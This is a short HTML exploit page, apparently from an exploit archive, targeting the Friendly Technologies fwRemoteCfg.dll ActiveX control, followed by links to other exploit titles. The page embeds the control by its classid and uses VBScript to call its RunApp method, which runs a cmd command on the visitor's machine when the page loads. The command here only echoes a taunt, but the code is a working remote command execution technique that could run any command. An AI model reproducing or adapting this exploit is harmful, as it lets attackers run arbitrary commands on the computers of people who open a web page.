<!--
In addition to the overflow found in the "Friendly Technologies" dialers ActiveX,
Here is a "remote command execution" exploit.
Its so sad people dont actually Think...
Greetz to Binaryvision
======================
- http://www.binaryvision.org.il/
-- irc.nix.co.il/#binaryvision
--- written by spdr.
-->
<html>
<object classid='clsid:F4A06697-C0E7-4BB6-8C3B-E01016A4408B' id='lamers' ></object>
<script language='vbscript'>
lamers.RunApp "cmd" ,"cmd /k echo So Simple, So Lame -- Somebody should get fired." ,0
</script>
【Friendly Technologies (fwRemoteCfg.dll) ActiveX Command Exec Exploit】相关文章：
★ Easy Photo Gallery 2.1 XSS/FD/Bypass/SQL Injection Exploit
★ tplSoccerSite 1.0 Multiple Remote SQL Injection Vulnerabilities
★ Yourownbux 4.0 (COOKIE) Authentication Bypass Exploit
★ Microsoft Access (Snapview.ocx 10.0.5529.0) ActiveX Remote Exploit
★ MS Windows (.doc File) Malformed Pointers Denial of Service Exploit
★ Microsoft DNS Server (Dynamic DNS Updates) Remote Exploit
★ Dana IRC 1.4a Remote Buffer Overflow Exploit
★ minb 0.1.0 Remote Code Execution Exploit
★ BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (spoof on ircd)
★ MojoClassifieds 2.0 Remote Blind SQL Injection Exploit